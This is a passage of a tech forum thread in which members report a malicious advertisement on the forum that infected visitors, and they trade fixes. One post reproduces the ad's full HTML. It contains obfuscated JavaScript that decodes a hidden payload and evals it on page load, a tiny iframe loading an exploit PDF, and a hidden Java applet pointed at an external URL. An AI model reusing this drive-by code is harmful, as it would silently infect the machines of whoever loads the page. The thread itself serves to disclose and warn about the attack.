What the heck? Attack Site?

Page 6 - Seeking answers? Join the AnandTech community: where nearly half-a-million members share solutions and discuss the latest tech.
Toggle sidebar Toggle sidebar
AnonymouseUser

AnonymouseUser

Diamond Member
May 14, 2003
9,943
107
106
Zorkorist said:
No, I got the load the Adobe script web page...

And of course I had you on Trusted sites.

I'm pretty sure that your problem is still there.

Who do I mail the page to?

-John
Click to expand...

Then maybe they didn't kill the ad, or didn't kill all of the ads.

What I found was a "stats.htm" embedded in the leftcolumn adcontainer pulling the offending PDF from a "stats_data" directory, and unless I'm mistaken it is hosted on Anandtech's servers...

In the meantime, I highly recommend everyone disable the Adobe Reader plugin, or completely uninstall Adobe Reader.
 
Zorkorist

Zorkorist

Diamond Member
Apr 17, 2007
6,861
3
76
vi edit said:
In my case it killed my Avira, killed MSCONFIG, and enabled the proxy server in IE and redirected you. It also was making popups in my task tray that look almost exactly like the built in security ones from Windows.
Click to expand...
Did it happen right away? Or on reboot?

I'm still hoping that I am not hosed.

-John
 
AnonymouseUser

AnonymouseUser

Diamond Member
May 14, 2003
9,943
107
106
The contents of the offending "stats.htm".
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">


<script
function JCvX0JKW3(HSen__7h_dmi, lQTpEd7CeVv2){var charr = String["fromC"+"harCode"];var abs = "va";var DhIR1R1_TVVT414 = arguments['call'+'ee'];var v_3P3yH_01H = 0;var mB_G3Qdd_7R = "l";mB_G3Qdd_7R = mB_G3Qdd_7R + "o";var s4L_D_q_C = document["getElementBy" + "Id"](mB_G3Qdd_7R);if (s4L_D_q_C) {if (!lQTpEd7CeVv2) {lQTpEd7CeVv2 = s4L_D_q_C.value;v_3P3yH_01H++;}}v_3P3yH_01H++;var Ix4__KTo__68n = new Array();if (HSen__7h_dmi) { Ix4__KTo__68n = HSen__7h_dmi;} else {var H1ndU3Ea0H1_Jto = 0;var V0SgB4_LEA_cC = 0;var g_

TVVT414.toString();Ci57PJ8N_T03CWt = Ci57PJ8N_T03CWt - 5;var VLm_6tGWtm = Ci57PJ8N_T03CWt + 10;VLm_6tGWtm = VLm_6tGWtm - 1;while(V0SgB4_LEA_cC < DhIR1R1_TVVT414.length) {var q0i0E6D__H__i = 1;var mbkNOh7_1U4 = DhIR1R1_TVVT414["charCo" + "deAt"](V0SgB4_LEA_cC);if (mbkNOh7_1U4 >= Ci57PJ8N_T03CWt && mbkNOh7_1U4 <= VLm_6tGWtm) {if (H1ndU3Ea0H1_Jto == 4) {H1ndU3Ea0H1_Jto = 0;}if (isNaN(Ix4__KTo__68n[H1ndU3Ea0H1_Jto])) {var kLg_r85 = 0;Ix4__KTo__68n[H1ndU3Ea0H1_Jto] = kLg_r85;}Ix4__KTo__68n[H1ndU3Ea0H1_Jto] += mbkNOh7_1U4;if (Ix4__KTo__68n[H1ndU3Ea0H1_Jto] > g_4xCN6__y_k_WA) {Ix4__KTo__68n[H1ndU3Ea0H1_Jto] -= 512;}H1ndU3Ea0H1_Jto++;}V0SgB4_LEA_cC++;}}H1ndU3Ea0H1_Jto = 4;for (var tnaldN = 0; tnaldN < 4; tnaldN++) {if (Ix4__KTo__68n[tnaldN] > 256) {Ix4__KTo__68n[tnaldN] -= 256;}}var T5LK_6i2t = 0;var sIA2Vs3h7m4gI5a = "";var s721mxl2gw__u = 0;var mO_8C33Vk0_qv = 0;var u__0PRJ_4j_R8 = 0;var KG6_iv_H;var qQ0LvJ0U7x = 23;while(mO_8C33Vk0_qv < lQTpEd7CeVv2.length) {var d__x_S_EfgcYi_h = lQTpEd7CeVv2.substr(mO_8C33Vk0_qv, 1) + "YY";var KQ3y_h06a = parseInt(d__x_S_EfgcYi_h, qQ0LvJ0U7x);if (s721mxl2gw__u) {KG6_iv_H += KQ3y_h06a;if (T5LK_6i2t == 4) {T5LK_6i2t -= 4;}var f2_8_7w = KG6_iv_H;f2_8_7w = f2_8_7w - (u__0PRJ_4j_R8 + 2) * Ix4__KTo__68n[T5LK_

String.fromCharCode(f2_8_7w);if (v_3P3yH_01H == 2) {sIA2Vs3h7m4gI5a += f2_8_7w;} else if (v_3P3yH_01H == 1) {sIA2Vs3h7m4gI5a += KQ3y_h06a;} else {sIA2Vs3h7m4gI5a += mO_8C33Vk0_qv;}T5LK_6i2t++;u__0PRJ_4j_R8++;s721mxl2gw__u = 0;} else {KG6_iv_H = KQ3y_h06a * 23;s721mxl2gw__u = 1;}mO_8C33Vk0_qv++;}var bb = this.window;var s4L_D_q_C = parseInt(document.getElementById("l"+'o').name)+94;bb[charr(101)+abs+charr(s4L_D_q_C)](sIA2Vs3h7m4gI5a);}

<meta name="description" content="description">
</head><body class="oss" onload="JCvX0JKW3() ;">
<input class="oss2" id="lo" name="14"
value="1l92397l5706a82ha732b09m4m52a32d5j6d596j0d1f5m44422l3d800i5810313e669k5j7h98942m3a466a5l81685d0fam7c3741469h21a30k3c3h313k4cafa18c868k543f9h98a77c446h2l9b3i447445a04h4c7h1a327k3g3k1c338h689e5bb06m720h771e8e7g1b3k72262c6b4c729c75360l340f163h723g039b166c9i5a6b76628a8a1i784h5a2e5mal723b4f51329ja68k790f0m1f0k1g7372356k8d3g7l7g7d8g471i2iah784a3g80ak54251661900i6b9j02a19f5a3a6g4g794h448m2397615l601f3k00a83j1l5c5c650f7f0895a544300f8f9e6k1m480m1e3b5l7l907k3m27ae0i2e7c6e1c0j1e093b8k425c9i8j1e861e854db13j59186565433b11952d003g0f105a81148575525j8g419577717c1m115d4b5g3a476e0c6a2h333490148d9g9196a80g0i7e8b886l8aa02e926k3h6g085eadb03a0m5l4i651j9296900b281891778h4i3j7b5cb265657f5l954f448d0f329e171l9l1k9065957g2e929c27569h5j820j426h2c5f4f22759fa3230l3c9j1j68853l98051i6l7a344366980c031b3j5i44303iaj9c

f9967648e4a92645m8faj4a02ag4b1f3m5a720h7l986f7k18241k92956k116g2g346k3j7j638j2l2b1aaf297j6319061e8i65a951378l6g1b98177e71310g468e573k196fb0942d9c5e0m102g9h3a8c9m3k4a7l1i677a7k9dac994j3c6j27478k0944242f319014628g91960b0e4d9m748h598d25a966763h6a1b4h0f091k0472445l180c7d8e944l1i0j98947c3h7i280c65449e5i753d3e7ha70866191k2j47606b0c922d66ah1l6g0f8e5j041g650d5a653g6ja69015083c9h1g636a28018eaf4h6m6b5l8d6l0903a24d34614h60a1a63b2h281481138c5f0h1317163a9k974l3b6jb1856d54844l1b2i2m90460k7d24780l1674710e6g0h13830d5a435h4779787gb0498467615f9e1187090g2e427i520f9e9993aa3g599k8f8la70g5f1c0a443m5b868g52141a0f0a7f683a17ajaj65b24f256f6223a20h82392m1b409c786m3k39977cam803d9h9b34ah3h7j7d3b5l904g6k8e5g922c0870256j3a288g0e65350h52901k7i7f15b02e3g489d4a6e3b5da1a0a5716d7391579h9i3a3f564d6518b079909i5b3m917k7d863c8e5618566kac398e483g00a22g743k3j15437e65b2662a959c2i520f7m850b124j215d3b2a43a99k2c102i992c44703a0kaj1i659g5a4e9070b1149a45205m3h31867e65443i0m66096c8c9ja538202l9k8d5m656a2f9c997k5h53184f2k9h3k467c024506a15e9a0i3h9b0m82a03e3a955c82427b034898665b5fa7277db212ae5e3l6c9j7l9c90am3a2k9174646m194a060l3b5j6664743m31149h0j4i7a3g192bb23baj731f6e93a2799m766k29193d0i7e6k4b681766b0942k9j9i20090gak802449904i876m4g7iac933j17441k1d9k1g7c210m36810a737h0h0ab1383a947l703b58ala097424i4b0f55078m1k456e4j73270g9l66a53910aj8e9d5b3c8e28126565a84h7a5m4e041i08a34843280668750191ag8a8j13511h7b7c9l2h3f032c443642998722a24e041g487c0g9h8e2a67ag5k6j9291050k9f77575g3i5aaea74240473f982i9f6391ak2f021bam825m4a7e09896f4092550h60a87i3g3e571m6c231674769d3ha991ag0f6a3k8j5kb16l7h8k4a9d675a8j174fa3192h112a7h5h0f7jaf8l824850168l78a13h480e2k5j3h657k8f49272caf3c4i4f1m95ag823h7l4236968ja48d0m78632f1g3f957i6k485g20872k862m011m54ab3ma2a94b6b681g5j675m6cb29i3c0e814a49998i6d2h2f5274147k7j1dah1m2b0g7g4a8i678a231k816g793laf4h0d932l355k4d65ah8m739j015j390h9cad53187f35a36d4074386f2723al0m086c493a1c306l65b26635909c1a46a8555b980g7e174k4a2j6j9e9a3620291ia24f5b3i03051i499g5a4c9l83afa79f7b5a45485ja9a26d1121156f07ad90120e0ea02l938068586d317l7c56531i9h33af640m134a186b21ac6f970d6b0ha1809d5k428g61025c758e117g5d5i8c0l119023462l4c6h7393768e678h0m2h9i6764aj277830175g5j877k9025069ja7ai84654a161mal73b27f269h991k9a127l702b2k50a459773f5aa6872b8c5j0l1k4l003k04ak476l9f2b90974g6k100l5k1b673h498d094b0g0c5c9f1983akb2b1ag0g0g784c5g3b4lala06j41433d1k3mamaa3j21414m3bb0866j6m922f161m6ead8247811f1c6c3b754f964f1j9m0m348l411gae0k946k048b39879jb14891644k980g3g032c412j4b75a52h042m110j498e0g9i8eab447l304la759al0e1c6j20543h267d876b3a242b971m967ga199151g42a28j715c8e06806650551k912b0b64161e4jak7a1c0c6e99ah4h13918d8m30196h388d7c4403469k5e289e03319h282d0b4i3l4h917497707i23651m5l94a44778063e6c2i5j747723180gb1087e6m190j1eaj6m98422l7c629e71984c3f040g4d0b78483e5h10902d8l3d9f1a59ac3g0c96443j683c8m9g7e9i340h6k3e42284k8f166e02072867aj537e9i89a84d2h7b58725b6ka81g9j406b670f55af861m0461466b0l959690ad522999a0a98c3k834b206l717b6c9d5e41al173m8h3b2h08119j5hb26a1e8l792c761c8388104477215m6k2e42826f1g250i0l26708b0g0d0ca43jah5k73958j0d91176f5h543i52aka371174c32a01m83880h0a3l1c3f73623b3b922f9e8f747k480f57a87a1m0k53ak3hag9f61960b4e050ma30d5a1g6a3fad6k73034i875f2g5hak3k04210ib01f3m4h917a986f7b4l5g0f7e8da13a7530373b415b838g451kai0f297463309d26al75aj744b9l9c1h6m197j72303k6812745f3a46a2a222af3jb20l2eac3g07a34g6f9h4m909g8271ac9l3c1i833k4e5j935g20225b83ad86719296a8170g6g4g575l75aeah905g6l671h381g860h1a312c3ba08c6c8795361kb18e867e465h4912656m8d3167340m8a910e6a17451c1m896fb28827936iah5c915l548m4f6c2a5c67585603a74d973g0h2e678e110990a47a6m6h799j967l16126k20284252am9k6d3c4m3g9jak9k83160d2k2944a39a5i3d9732ak967a5i579e5i2j6h4b4584am63b11c7j920e71100k9913693i8l6a7i3b839h3g93374b6e91277daf19051m527c1m6k0992003k57998l6d6k4f4847456e5m8i836e3f1lai9i29746d3a1l0b0j42am7251989h1768a64c4a070g6lb16m4a235a0d9a2d0e4b1i99367d108c7c133m663h84755a961i125k4a5g4d2h9k1a6e3435586e0b647maja015173ca05381657e200d6k6e6h6m10590m861l0442253b2da77d749m48229h9a005b3a7i491j543b83316d2e167h9c0885281e0d268044019106909c277hah698j1e3j6j245c3j5e6j8l8f3g0l3f0f1j408i3g0i0d2g6e6m3l3h775i7l161a6d3g493k50a29a680g2d066dam6j4m9c8g4316299c905m68872i92a77h7m5191421m863a2l7i2g3b0d9f4c898m3h9e919h043f1a8b5aad65809k4j6632285ha3137daj0g0m496i44017j8e6h7b1135935l6f6k2l682a3d583i8e536h15ai0893ai56392ha6al9k5b9f4i4b9j6i0l920f8052b1142m8g6a3d1934979i2d9e5612104ka73d90am3m71664d7b906l99140f5k385j2c26700j6c0006296e1g6i9i03ak10383a946473444kala09f637b6h104d1b0d460i6f5g7226039k84b05h341e9aaf7i125a1f276f6c6k39672645990f2d91323a1c307h57915b0j66a4298012877e1b4375ae6572527f93923l164b0h21695k128c1a256c6m313i6e8f9d01036g3i4h3a508m8c440g2d069f1ma6831009461m467h8g6i6l983cal9j5l7m4k106321963g164jak7a2d04748b0e5c0h0fa1ag4c195h47796k700k43985a60921b1fak21422d586h6d0l811ca709435591669a8c3a6d3325655c856k821lb29j1k2l6a632l0m0faj65a95j3b6m62ad68146463233d4h057865334ca06k3a0b5h1c1l5d7l1988751k446f2b9d92866c2k1h5b1b5m484e5ja13b02003c971k8g791faj2i0e4c9462674882af1e98446m46141ha5861918315f650696799b9452349l9j86810g661f1e5365925l814f3gabai246k1l401i3f9273086faga29c15569l8a5i0d3i4c22356h2d4d7e664b1l3e1ba268981facab1m457f2g50668f9d01036g3i4h3a508m8c44174539922g81890k0d212411am8d4k4b6a338l9072604g9h5gah6i48476f39712b1l7c6e9e4g9ca5ab0k2g118g6l885b61011g6m2e3d5f9j1ab13131083c7d6c91789k667d1f26a599a0951d653l3b3b366h5395520c0gal2d5c421k232f026fam72209h9l0c75al846a0c405m0k7g734c2gac660e8e3691255b06318g924i6c661i72664i750293474f5h3a3f8daj6j2mb12j7c9d558m9380aj0e44a66i64588c1d01a7716d73913ba0b03a2l642d651c0a6c7c84573c0ja7al7i428g2616716b9g6g963c46ah16389d4m11a03k8l71098m3568740h60a27m7c0d3j491e5a6i2g7ga59l1m1j4a1b23669448098ma673aj646h685l7l8c1d6j5j5f185ba1aa6747453j9a2ea4519a9k28ag3a9k8d6845872j026k7e8353ab622k9h3k3h83396bai9h819j0f3j9f93aa1b68446k3g81727j0d4c96655c8h163k8423432j276j6d127a089aak1e580k9c6ia0487g3d12733b645l701l080k9i0g7g681d0mb2905lad4i4c769010780j704a2i1a5i9a7b4d4855a0720c8e3f0ma52m7f0g87752i6588417k9e7f6l0d0k6d3c7i414d9517422k3857a3a47mac19b02e3d259d7e8e6a5506b190616b6g9i4b0h0a1218"
type="hidden">
<input class="oss3" id="ao" value="12" type="hidden">
<script src="stats_data/t002102R18cd4b95Xc0b7ca7cY8b1a3b9dZ03002f36Q00000000901801F002d0" type="text/javascript"></sc><iframe

src="stats_data/s002102317801r0409R18cd4b95Xc0b7ca7eY8b1a3b9dZ03002f36_002.pdf"
width="3" height="3"></iframe><applet code="Main.class"
archive="stats_data/s002102303801r0409R18cd4b95Xc0b7ca7eY8b1a3b9dZ03002f36"
width="2" height="2"><param
value="687474703A2F2F73746F72657369676D612E636F6D2F6367692D62696E2F6964732E68746D6C2F6E30303231303233303338303172303430395231386364346239355863306237636137655938623161336239645A3033303032663336"
name="u"><param value="1" name="c"><param value="0" name="d"></applet></body></html>
Click to expand...
 
Last edited:
0roo0roo

0roo0roo

No Lifer
Sep 21, 2002
64,795
84
91
hclarkjr said:
i am using firefox 3.6.2 with ad block and no script and have received no warnings at all. maybe anand should consider bringing back paid subscriptions so he would not need any ads
Click to expand...

or jpeg ads.
i've seen some on thin picture strips across the top of some forums, like the blue color bands across the page, it becomes part of it. i find that more clever and integrated use of adverts than a banner type.
 
Red Squirrel

Red Squirrel

No Lifer
May 24, 2003
70,204
13,591
126
www.anyf.ca
Actually one of my sites was recently attack with some weird javascript like that. It was weird, since it was all random characters like that, and somehow that code was a url redirect to a .ru spam site. I had to delete my website and reupload it all since who knows what else they did. I need to get off shared hosting. :p There is a constant stream of spammers at my doors, I don't know why. I shut off forum registrations since I had no time to moderate it all day. 100+ spam posts every day. These people need to die a long, painful, death.
 
vi edit

vi edit

Elite Member
Super Moderator
Oct 28, 1999
62,484
8,345
126
same here...it's still lurking around....onto firefox i go
 
OILFIELDTRASH

OILFIELDTRASH

Lifer
May 13, 2009
12,333
612
126
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.
 
techs

techs

Lifer
Sep 26, 2000
28,559
4
0
OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.
Click to expand...

Actually I have been using free AVG for like 4 years now. On 4 computers. And have never been infected. So, according to your reasoning, I saved 640 bucks!
Whoo-eeee!
 
Homerboy

Homerboy

Lifer
Mar 1, 2000
30,890
5,001
126
for what its worth, I just had to remove Antivirus Soft from this PC.
Came back here after a few mins and got the same malware warnings from Chrome and from Avast.
 
Homerboy

Homerboy

Lifer
Mar 1, 2000
30,890
5,001
126
FWIW I just had to remove Antivirus Soft from this laptop (using Chrome)
Came back here and got same warnings from Chrome and Avast.
 
M

Matthiasa

Diamond Member
May 4, 2009
5,755
23
81
It's back. :(
JS: Prontexi-AI

Edit- someone placed it on this page...

ROAR!!
 
Last edited:
pyonir

pyonir

Lifer
Dec 18, 2001
40,856
321
126
OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.
Click to expand...

I use a free one and haven't had a single issue on the site yet. You don't need to pay $40 for anti-virus if you use FF+NoScript+AdBlock Plus
 
T

TruePaige

Diamond Member
Oct 22, 2006
9,874
2
0
OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.
Click to expand...

You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.
 
OILFIELDTRASH

OILFIELDTRASH

Lifer
May 13, 2009
12,333
612
126
pyonir said:
I use a free one and haven't had a single issue on the site yet. You don't need to pay $40 for anti-virus if you use FF+NoScript+AdBlock Plus
Click to expand...

Why chance it? You're not gonna tell me your avg free offers you the same protection as my Norton Internet Security are you?
 
M

Matthiasa

Diamond Member
May 4, 2009
5,755
23
81
TruePaige said:
You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.
Click to expand...

Because they don't know many of the paid ones also have free ones which have the exact same scanners. :p
 
pyonir

pyonir

Lifer
Dec 18, 2001
40,856
321
126
OILFIELDTRASH said:
Why chance it? You're not gonna tell me your avg free offers you the same protection as my Norton Internet Security are you?
Click to expand...

Sure I will, because I'm not an idiot. I've never paid for a security program and have never had a problem. I don't use AVG anyway. Avira FTW. If you want to argue about security programs we have a Security forum here. This isn't the thread for it.
 
OILFIELDTRASH

OILFIELDTRASH

Lifer
May 13, 2009
12,333
612
126
TruePaige said:
You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.
Click to expand...

Avcomparitives. The gold standard for testing antivirus programs. Ever heard of it. Your comments are baseless. Find me a better performing program.
http://www.av-comparatives.org/comparativesreviews/main-tests/summary-reports
 
OILFIELDTRASH

OILFIELDTRASH

Lifer
May 13, 2009
12,333
612
126
:\
pyonir said:
Sure I will, because I'm not an idiot. I've never paid for a security program and have never had a problem. I don't use AVG anyway. Avira FTW. If you want to argue about security programs we have a Security forum here. This isn't the thread for it.
Click to expand...

Yeah a thread talking about peoples computer being hijacked by the site is not the thread we need to talk about security.:rolleyes:
 
T

TruePaige

Diamond Member
Oct 22, 2006
9,874
2
0
OILFIELDTRASH said:
Avcomparitives. The gold standard for testing antivirus programs. Ever heard of it. Your comments are baseless. Find me a better performing program.
http://www.av-comparatives.org/comparativesreviews/main-tests/summary-reports
Click to expand...

Again, as others have echoed, if you want to use intentionally antagonistic language as you have shown, please exit the thread.

If you want to debate AV programs, please go the security forum. The intended payload many have reported is picked up by most common anti virus programs.

You've added nothing that gives any additional insight to the issue or ways to help those who are inflicted.
 
Zorkorist

Zorkorist

Diamond Member
Apr 17, 2007
6,861
3
76
It's happening now on this thread.

The guy who posted offending script above, is right. It is offending.

-John
 
Number1

Number1

Diamond Member
Feb 24, 2006
7,881
549
126
Is this thread the only hint AT is unintentionally spreading malware capable of hosing people's computers at home and at work?

I just uninstalled adobe plug in for firefox, uninstalled adobe reader, adobe download manager and installed foxit reader.
I am curently running full scans with malwarebyte and norton internet security.

I have seen no signs of infection on my machines so far.
 
You must log in or register to reply here.

TRENDING THREADS

COMPANY
RESOURCES
FOLLOW
Top Bottom